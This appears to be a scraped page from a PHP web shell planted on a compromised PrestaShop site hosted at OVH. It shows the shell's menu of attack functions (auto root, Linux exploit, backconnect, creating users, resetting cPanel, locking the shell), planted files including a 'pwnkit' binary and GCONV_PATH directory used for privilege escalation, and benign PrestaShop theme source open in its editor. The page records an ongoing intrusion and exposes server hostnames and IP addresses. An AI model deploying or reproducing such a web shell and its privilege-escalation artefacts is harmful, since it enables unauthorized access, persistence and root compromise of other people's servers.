Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
src /
Core /
Addon /
Theme /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Theme.php
7.51
KB
-rw----r--
ThemeCollection.php
5.85
KB
-rw----r--
ThemeExporter.php
4.72
KB
-rw----r--
ThemeManager.php
19.15
KB
-rw----r--
ThemeManagerBuilder.php
2.92
KB
-rw----r--
ThemePageLayoutsCustomizer.php
2.19
KB
-rw----r--
ThemePageLayoutsCustomizerInte...
1.33
KB
-rw----r--
ThemeProvider.php
1.91
KB
-rw----r--
ThemeProviderInterface.php
1.45
KB
-rw----r--
ThemeRepository.php
4.87
KB
-rw----r--
ThemeUploaderInterface.php
1.4
KB
-rw----r--
ThemeValidator.php
5.63
KB
-rw----r--
ThemeZipUploader.php
3.53
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ThemeRepository.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Core\Addon\Theme; use PrestaShop\PrestaShop\Core\Addon\AddonListFilter; use PrestaShop\PrestaShop\Core\Addon\AddonListFilterStatus; use PrestaShop\PrestaShop\Core\Addon\AddonListFilterType; use PrestaShop\PrestaShop\Core\Addon\AddonRepositoryInterface; use PrestaShop\PrestaShop\Core\ConfigurationInterface; use PrestaShop\PrestaShop\Core\Foundation\Filesystem\FileSystem as PsFileSystem; use PrestaShopException; use Shop; use Symfony\Component\Filesystem\Filesystem; use Symfony\Component\Yaml\Parser; class ThemeRepository implements AddonRepositoryInterface { private $appConfiguration; private $filesystem; private $shop; public function __construct(ConfigurationInterface $configuration, Filesystem $filesystem, Shop $shop = null) { $this->appConfiguration = $configuration; $this->filesystem = $filesystem; $this->shop = $shop; } public function getInstanceByName($name) { $dir = $this->appConfiguration->get('_PS_ALL_THEMES_DIR_') . $name; $confDir = $this->appConfiguration->get('_PS_CONFIG_DIR_') . 'themes/' . $name; $jsonConf = $confDir . '/theme.json'; if ($this->shop) { $jsonConf = $confDir . '/shop' . $this->shop->id . '.json'; } if ($this->filesystem->exists($jsonConf)) { $data = $this->getConfigFromFile($jsonConf); } else { $data = $this->getConfigFromFile($dir . '/config/theme.yml'); // Write parsed yml data into json conf (faster parsing next time) $this->filesystem->dumpFile($jsonConf, json_encode($data), PsFileSystem::DEFAULT_MODE_FILE); } $data['directory'] = $dir; return new Theme($data); } public function getList() { if (!isset($this->themes)) { $this->themes = $this->getFilteredList(new AddonListFilter()); } return $this->themes; } /** * Gets list of themes as a collection. * * @return ThemeCollection */ public function getListAsCollection() { $list = $this->getList(); return ThemeCollection::createFrom($list); } public function getListExcluding(array $exclude) { $filter = (new AddonListFilter()) ->setExclude($exclude); return $this->getFilteredList($filter); } public function getFilteredList(AddonListFilter $filter) { $filter->setType(AddonListFilterType::THEME); if (!isset($filter->status)) { $filter->setStatus(AddonListFilterStatus::ALL); } $themes = $this->getThemesOnDisk(); if (count($filter->exclude) > 0) { foreach ($filter->exclude as $name) { unset($themes[$name]); } } return $themes; } private function getThemesOnDisk() { $suffix = 'config/theme.yml'; $themeDirectories = glob($this->appConfiguration->get('_PS_ALL_THEMES_DIR_') . '*/' . $suffix, GLOB_NOSORT); $themes = []; foreach ($themeDirectories as $directory) { $name = basename(substr($directory, 0, -strlen($suffix))); $theme = $this->getInstanceByName($name); if (isset($theme)) { $themes[$name] = $theme; } } return $themes; } private function getConfigFromFile($file) { if (!$this->filesystem->exists($file)) { throw new PrestaShopException(sprintf('[ThemeRepository] Theme configuration file not found for theme at `%s`.', $file)); } $content = file_get_contents($file); if (preg_match('/.\.(yml|yaml)$/', $file)) { return (new Parser())->parse($content); } elseif (preg_match('/.\.json$/', $file)) { return json_decode($content, true); } } }
Close